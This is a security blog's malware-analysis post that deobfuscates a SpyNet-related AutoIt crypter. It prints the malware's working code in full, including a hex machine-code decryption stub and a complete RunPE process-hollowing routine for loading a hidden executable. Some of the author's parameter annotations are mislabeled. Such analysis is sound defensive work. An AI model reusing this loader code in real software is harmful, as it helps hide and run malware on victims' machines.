Security oriented blog

Analyzing a crypter made in AutoIt | Part1

28 Aug 2015

This is a late follow up post on SpyNet - a malware made with AutoIt which only had an initial analysis of a malware that contained an embedded AutoIt interpreter with an obfuscated script that didn’t make sense.

In this post and the probable following parts I will deobfuscate the script enough to allow us to see it’s way of extracting and running exe’s. A later goal is to write an unpacker but lets start with the above mentioned first!

As said in the initial analysis post it’s at the end the interesting stuff happends:

 #NoTrayIcon
$p442342233 = FileOpen(@ScriptFullPath, 0)
$p3191304180 = FileRead($p442342233)
$p3191304180 = StringMid($p3191304180, StringInStr($p3191304180, "dfsdfsadfdfasdafeweeawfgsdfdafs") + StringLen("dfsdfsadfdfasdafeweeawfgsdfdafs"))
$p3191304180 = kefanqsibfimzyphlrastxjciaknmdeue($p3191304180, "fdsasdfdfsadfsaewewewefwaefwafeawefwefwaefw")
pvzgakxmgjqnvuxzvgbzpqkaouyvsnscn($p3191304180)

Deobfuscated and explained:

$binary = FileOpen(@ScriptFullPath, 0) //Open itself
$fileContent = FileRead($binary) //readWholeContent
$extractedString = StringMid(
  $fileContent,
  patternMatch + 31
  ) //extracts the rest of the file content from the found pattern matching+31 bytes, ie after the last character in the string.
$p3191304180 = kefanqsibfimzyphlrastxjciaknmdeue($extractedString, "fdsasdfdfsadfsaewewewefwaefwafeawefwefwaefw") //function calls to be investigated further down
pvzgakxmgjqnvuxzvgbzpqkaouyvsnscn($p3191304180)

where patternMatch was the following operation:
StringInStr($fileContent, "dfsdfsadfdfasdafeweeawfgsdfdafs") = position of a substring in the binary

Lets verify that dfsdfsadfdfasdafeweeawfgsdfdafs actually exists in our binary:

pattern

Great, now we will investigate the functions, starting with kefanqsibfimzyphlrastxjciaknmdeue, it looks like this obfuscated:

Func kefanqsibfimzyphlrastxjciaknmdeue($011001010011100001101011001101111, $110101100111001000000000001010001)
  Local $001111001100101000001101100000110 = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
  Local $011001010101011000100100010100101 = DllStructCreate("byte[" & BinaryLen($001111001100101000001101100000110) & "]")
  DllStructSetData($011001010101011000100100010100101, 1, $001111001100101000001101100000110)
  Local $111100000101111011000010111001111 = DllStructCreate("byte[" & BinaryLen($011001010011100001101011001101111) & "]")
  DllStructSetData($111100000101111011000010111001111, 1, $011001010011100001101011001101111)
  DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($011001010101011000100100010100101), "ptr", DllStructGetPtr($111100000101111011000010111001111), "int", BinaryLen($011001010011100001101011001101111), "str", $110101100111001000000000001010001, "int", 0)
  Local $010011101101001101001100101011001 = DllStructGetData($111100000101111011000010111001111, 1)
  $111100000101111011000010111001111 = 0
  $011001010101011000100100010100101 = 0
  Return $010011101101001101001100101011001
EndFunc

And deobfuscated:

Func CallWindowProcWrapper($extractedString, $stringOfLength43)
  Local $longString = "0xC81001006A006A005356578B551031C989C84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFFFFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345F425FF0000008945F48B75FC8A8435F0FEFFFF8B7DF486843DF0FEFFFF888435F0FEFFFFFF45FCEBB08D9DF0FEFFFF31FF89FA39550C76638B85ECFEFFFF4025FF0000008985ECFEFFFF89D80385ECFEFFFF0FB6000385E8FEFFFF25FF0000008985E8FEFFFF89DE03B5ECFEFFFF8A0689DF03BDE8FEFFFF860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000" // length of 265
  Local $DllStruct265Bytes = DllStructCreate("byte[" & 265 & "]") //BinaryLen of longString is 265, allocate struct of size 265 bytes
  DllStructSetData($DllStruct265Bytes, 1, $longString) //sets value of DllStruct265Bytes to longString
  Local $ContainExtractedString = DllStructCreate("byte[" & BinaryLen($extractedString) & "]") //create struct with space for extrectad string
  DllStructSetData($ContainExtractedString, 1, $extractedString) // sets ContainExtractedString to contain extractedString
  DllCall("user32.dll",
          "none",
          "CallWindowProc",
          "ptr", DllStructGetPtr($DllStruct265Bytes), <--lpPrevWndFunc
          "ptr", DllStructGetPtr($ContainExtractedString), <--hWnd
          "int", BinaryLen($extractedString), <--Msg, so msg is size of extractedString
          "str", $stringOfLength43, "int", 0 <--wParam
  )
  Local $extractedStringAsRet = DllStructGetData($ContainExtractedString, 1) //contains string or size of it if the message was received to the hwnd,
  $ContainExtractedString = 0
  $DllStruct265Bytes = 0
  Return $extractedStringAsRet
EndFunc

I’ll have a hard time understanding the purpose of the function, it sends the size of the extracted part to receive it again? Anyway the return value is probably the extracted string or the size of it…

Alright, next function obfuscated:

Func pvzgakxmgjqnvuxzvgbzpqkaouyvsnscn($566790982425485361128425132655443)
  Local $889956581616677515537683795744030 = Binary($566790982425485361128425132655443)
  Local $998471205392057219781053566064983 = DllStructCreate("byte[" & BinaryLen($889956581616677515537683795744030) & "]")
  DllStructSetData($998471205392057219781053566064983, 1, $889956581616677515537683795744030)
  Local $991521362919130988583807877549912 = DllStructGetPtr($998471205392057219781053566064983)
  Local $637042115200900634005065495474422 = DllStructCreate("dword 439117713968232426487515493366615;" & "ptr 398934382339860185918173853291137;" & "ptr 055118753380060501527667707624719;" & "ptr 821142885000446333940673704487453;" & "dword 110976125485687119991960451738057;" & "dword 955280179283708311252677883557665;" & "dword 278980071433271708376515769263565;" & "dword 116763878837073791269881666474755;" & "dword 401818485183942455257547784734040;" & "dword 898866754040457888726067094062396;" & "dword 817629069714687426774212346842608;" & "dword 990971797280455215572543929516050;" & "ushort 014356054188400457528079422754640;" & "ushort 653521723916665747685760531500899;" & "ptr 653521723916665747685760531500899;" & "ptr 440893018287949350294383161616495;" & "ptr 912053434848795110861815807271881;" & "ptr 828905162524450241480487493047180")
  Local $337615526623291802581903466843737 = DllStructCreate("ptr 541495460210322623237710898400809;" & "ptr 178599880933639235938916880761468;" & "dword 439946624865474388101876924674082;" & "dword 881411761152831132418975998998995")
  Local $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "CreateProcessW", "wstr", @AutoItExe, "ptr", 0, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($637042115200900634005065495474422), "ptr", DllStructGetPtr($337615526623291802581903466843737))
  If @error OR NOT $671524503117036645066981158433537[0] Then
    Return SetError(1, 0, 0)
  EndIf
  Local $426907507977163374251695217409973 = DllStructGetData($337615526623291802581903466843737, "541495460210322623237710898400809")
  Local $867944060722279484118581493601561 = DllStructGetData($337615526623291802581903466843737, "178599880933639235938916880761468")
  Local $385002530260477311452850708860192 = DllStructCreate("dword 773542019281050169128916133080296;" & "dword 513548651299904834758919226841026;" & "dword 504681564922821672840169091478092;" & "dword 305628563352624613996318910448853;" & "dword 649446944079903522450188808353515;" & "dword 926967066419350329736456456274493;" & "dword 425252271157125264907806009917183;" & "dword 828642979249651738502027088635674;" & "dword 096226719949119526310247043292657;" & "dword 559555733659521012939823718587638;" & "dword 458813316184359742598374072977151;" & "dword 568037264215016246561565151590246;" & "dword 166082941964160608351199479414853;" & "dword 897290580853890161949054366917632;" & "byte 214040076080092456152009531135558[80];" & "dword 723033842047392654458335192631867;" & "dword 417148508498098663310514481969166;" & "dword 614810101610119496264677696515003;" & "dword 400388011472819243756305357494423;" & "dword 228170187634771397084763174320291;" & "dword 108265368338496457961333493217349;" & "dword 035526245064918743867512849430592;" & "dword 166318921863109084758902988833541;" & "dword 990643696980947804299520407297452;" & "dword 093146885228291341591579260717227;" & "dword 398527251173631918152857861465050;" & "dword 326961664082925932550209334010306;" & "dword 624639188032140959705239468516604;" & "dword 149820951914487163056314871783482;" & "dword 024116586168681959383861386984790;" & "dword 474904930867201301017921339048292;" & "dword 410512838577886478232900451979674")
  DllStructSetData($385002530260477311452850708860192, "773542019281050169128916133080296", 65538)
  $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "GetThreadContext", "ptr", $867944060722279484118581493601561, "ptr", DllStructGetPtr($385002530260477311452850708860192))
  If @error OR NOT $671524503117036645066981158433537[0] Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(2, 0, 0)
  EndIf
  Local $008237808856160634161614907918313 = DllStructCreate("char 223618247638977455842224291774011[2];" & "ushort 061153110206180895831497200528487;" & "ushort 219524723184301435698351672388802;" & "ushort 762924759672905541293434330997949;" & "ushort 605202437333980272710771809093656;" & "ushort 585686836712226360325945562101592;" & "ushort 719492561504784296308317522181643;" & "ushort 208826165593034516146216500352335;" & "ushort 248009330374952713341370587444544;" & "ushort 496997241516382867896306851431431;" & "ushort 789873979242969369950203553921585;" & "ushort 439886157019535326663605849193573;" & "ushort 371139216369569846914278725538934;" & "ushort 402226896980178261800075945132842;" & "char 857970882872564825211280327788025[8];" & "ushort 027094151789277676283766027442238;" & "ushort 136820776867265620892750651712417;" & "char 578625302918743803298730155127742[20];" & "dword 920160943013664396491396484598969", $991521362919130988583807877549912)
  $991521362919130988583807877549912 += DllStructGetData($008237808856160634161614907918313, "920160943013664396491396484598969")
  Local $079740550197049835472071850278327 = DllStructGetData($008237808856160634161614907918313, "223618247638977455842224291774011")
  If NOT ($079740550197049835472071850278327 == "MZ") Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(3, 0, 0)
  EndIf
  Local $117580950454413465027639555960684 = DllStructCreate("dword 645957224160713561609187895601290", $991521362919130988583807877549912)
  $991521362919130988583807877549912 += 4
  If DllStructGetData($117580950454413465027639555960684, "645957224160713561609187895601290") <> 17744 Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(4, 0, 0)
  EndIf
  Local $575525471301384555623476107843307 = DllStructCreate("ushort 438529746982295029246857712031617;" & "ushort 517546368868943732969955074190756;" & "dword 530722612914733245016546403760045;" & "dword 318653461568014009852425597969017;" & "dword 708430040063817174619243349657013;" & "ushort 903377197002216929906012891739258;" & "ushort 009400570221171034260260711326382", $991521362919130988583807877549912)
  Local $586664224374128266862337925004086 = DllStructGetData($575525471301384555623476107843307, "517546368868943732969955074190756")
  $991521362919130988583807877549912 += 20
  Local $925183431560115487127169653859651 = DllStructCreate("ushort 223618247638977455842224291774011;" & "ubyte 111598166475014516017166857025806;" & "ubyte 112730535437490181361945858817136;" & "dword 272794261654750713841254430104021;" & "dword 416074476385334166697198340763944;" & "dword 071349139335552869977016778213003;" & "dword 078203472620284855348154610675156;" & "dword 569077028264264567497363673469406;" & "dword 670689416060544010462102438573760;" & "dword 754551627878514293524236280331972;" & "dword 148236269900510382935528055636680;" & "dword 286378170875650873214050638134572;" & "ushort 294024062510572004371265844690513;" & "ushort 143948473522502270800809632769176;" & "ushort 399709513645236446782025100443937;" & "ushort 104656258063086044581220870015017;" & "ushort 724520616415764871608553144752682;" & "ushort 997030544262471690379685092089715;" & "dword 150756355331778550137541252575431;" & "dword 166104897311072668759308295091356;" & "dword 587317630029748682410959850045220;" & "dword 496997241516382867896306851431431;" & "ushort 909036077219223912069848085897778;" & "ushort 083980379122373317497354209647992;" & "dword 403512432887842773105491694987611;" & "dword 745971762773242712875340585185932;" & "dword 938659783115893772919216736254805;" & "dword 882855675616741852730120109985111;" & "dword 464785288452706792508414995174935;" & "dword 275340394078632671370733665716521", $991521362919130988583807877549912)
  $991521362919130988583807877549912 += 96
  Local $595033292838743796155201934121619 = DllStructGetData($925183431560115487127169653859651, "223618247638977455842224291774011")
  If $595033292838743796155201934121619 <> 267 Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(5, 0, 0)
  EndIf
  Local $890749025141188310915717988581449 = DllStructGetData($925183431560115487127169653859651, "078203472620284855348154610675156")
  $991521362919130988583807877549912 += 128
  Local $513116907003166378345509188114525 = DllStructGetData($925183431560115487127169653859651, "754551627878514293524236280331972")
  Local $712077175565505280849668520691702 = DllStructGetData($925183431560115487127169653859651, "166104897311072668759308295091356")
  $671524503117036645066981158433537 = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $426907507977163374251695217409973, "ptr", $513116907003166378345509188114525)
  If @error OR $671524503117036645066981158433537[0] Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(6, 0, 0)
  EndIf
  $671524503117036645066981158433537 = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "ptr", $426907507977163374251695217409973, "ptr", $513116907003166378345509188114525, "dword", $712077175565505280849668520691702, "dword", 12288, "dword", 64)
  If @error OR NOT $671524503117036645066981158433537[0] Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(7, 0, 0)
  EndIf
  Local $848557980851475611908040051832545 = $671524503117036645066981158433537[0]
  Local $992486045443489969451758480041411 = DllStructGetPtr($008237808856160634161614907918313)
  Local $342202715096993569890162249821251 = DllStructGetData($925183431560115487127169653859651, "587317630029748682410959850045220")
  $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $426907507977163374251695217409973, "ptr", $848557980851475611908040051832545, "ptr", $992486045443489969451758480041411, "dword", $342202715096993569890162249821251, "dword*", 0)
  If @error OR NOT $671524503117036645066981158433537[0] Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(8, 0, 0)
  EndIf
  Local $488919904221339530418946804655336
  Local $174611919349825107242316225767131, $835779388828536402264565716872794
  Local $977334402573660004900999997872433
  For $798373586378195162480113838653834 = 1 To $586664224374128266862337925004086
    $488919904221339530418946804655336 = DllStructCreate("char 139787195484327845024882789304030[8];" & "dword 632908747624568683471491315771866;" & "dword 037319532524584577876736486292717;" & "dword 157590092402257904968027739189644;" & "dword 416094280890675541385274318899328;" & "dword 768401250338354968734067885210421;" & "dword 840248107119992232019694985137824;" & "ushort 071686537445716947980136614190552;" & "ushort 554612275588133889671208136972578;" & "dword 009400570221171034260260711326382", $991521362919130988583807877549912)
    $174611919349825107242316225767131 = DllStructGetData($488919904221339530418946804655336, "157590092402257904968027739189644")
    $835779388828536402264565716872794 = DllStructGetPtr($008237808856160634161614907918313) + DllStructGetData($488919904221339530418946804655336, "416094280890675541385274318899328")
    $977334402573660004900999997872433 = DllStructGetData($488919904221339530418946804655336, "037319532524584577876736486292717")
    If $174611919349825107242316225767131 Then
      $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "WriteProcessMemory", "ptr", $426907507977163374251695217409973, "ptr", $848557980851475611908040051832545 + $977334402573660004900999997872433, "ptr", $835779388828536402264565716872794, "dword", $174611919349825107242316225767131, "dword*", 0)
      If @error OR NOT $671524503117036645066981158433537[0] Then
        DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
        Return SetError(9, $798373586378195162480113838653834, 0)
      EndIf
    EndIf
    $991521362919130988583807877549912 += 40
  Next
  DllStructSetData($385002530260477311452850708860192, "398527251173631918152857861465050", $848557980851475611908040051832545 + $890749025141188310915717988581449)
  $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "SetThreadContext", "ptr", $867944060722279484118581493601561, "ptr", DllStructGetPtr($385002530260477311452850708860192))
  If @error OR NOT $67152450311703664506698115843353 7[0] Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(10, 0, 0)
  EndIf
  $671524503117036645066981158433537 = DllCall("kernel32.dll", "int", "ResumeThread", "ptr", $867944060722279484118581493601561)
  If @error OR $671524503117036645066981158433537[0] = -1 Then
    DllCall("kernel32.dll", "int", "199891250463519264683620367771959", "ptr", $426907507977163374251695217409973, "dword", 0)
    Return SetError(11, 0, 0)
  EndIf
  Return DllStructGetData($337615526623291802581903466843737, "439946624865474388101876924674082")
EndFunc

Quite a mess, lets pinpoint the deobfuscation on the most interesting areas and for the rest only mark the system calls.

System calls in order:

  1. CreateProcessW
  2. GetThreadContext
  3. NtUnmapViewOfSection
  4. VirtualAllocEx
  5. WriteProcessMemory <– in an if case
  6. WriteProcessMemory <– inside a for loop
  7. SetThreadContext
  8. ResumeThread

This is telling out very loud: I’m a packer :)

I found out that this function looks the same as RunPe Module by M3 which you can find here.

Even more interesting is that the second WriteProcessMemory call is inside an for loop, perhaps we can find out how the embedded executable is encoded.

But lets go in order, and start with the CreateProcessW call.

It’s as following deobfuscated:

  Local $winAPI_Call_Worked? = DllCall("kernel32.dll",
                                             "int", <-- return type 
                                             "CreateProcessW", <--function to call
                                             "wstr", @AutoItExe, <--- application name
                                             "ptr", 0, <-- commandline
                                             "ptr", 0, <-- buffer
                                             "ptr", 0, <-- size to write
                                             "int", 0, <-- ProcessAttributes, null = default security rights
                                             "dword", 4, <-- ThreadAttributes
                                             "ptr", 0, <-- InheritHandles
                                             "ptr", 0, <-- reationFlags
                                             "ptr", DllStructGetPtr($Environment), <-- Environment
                                             "ptr", DllStructGetPtr($CurrentDirectory) <-- CurrentDirectory, starting directory for the executable
                                             )

Where I thought the $CurrentDirectory might be interesting to know.

Local $CurrentDirectory = DllStructCreate("ptr 541495460210322623237710898400809;"&
                                          "ptr 178599880933639235938916880761468;" &
                                          "dword 439946624865474388101876924674082;" &
                                          "dword 881411761152831132418975998998995"
                                          )

Should be able to solve it…

Retrieving the thread handle:

  $winAPI_Call_Worked?? = DllCall("kernel32.dll",
                          "int", <-- return val
                          "GetThreadContext", <-- function to call
                          "ptr", $threadHandle, <-- 
                          "ptr", DllStructGetPtr($ContextStructure)
                          )
  $winAPI_Call_Worked?? = DllCall("ntdll.dll",
                          "int", <-- return val
                          "NtUnmapViewOfSection", <-- function
                          "ptr", $processHandleOrCurrentDirectoryPointer1, <-- processHandle
                          "ptr", $baseOfNewProc <-- base of new proc
                          )
  $baseAddressOfAllocatedSpace = DllCall("kernel32.dll",
                          "ptr",
                          "VirtualAllocEx", <-- function
                          "ptr", $processHandleOrCurrentDirectoryPointer1,
                          "ptr", $baseOfNewProc,
                          "dword", $sizeOfMemoryRegion,
                          "dword", 12288, <--- 0x3000, type of memory allocation ,meaning not listed at msdn hmmp
                          "dword", 64 <--- memory protections 
                          )

comments powered by Disqus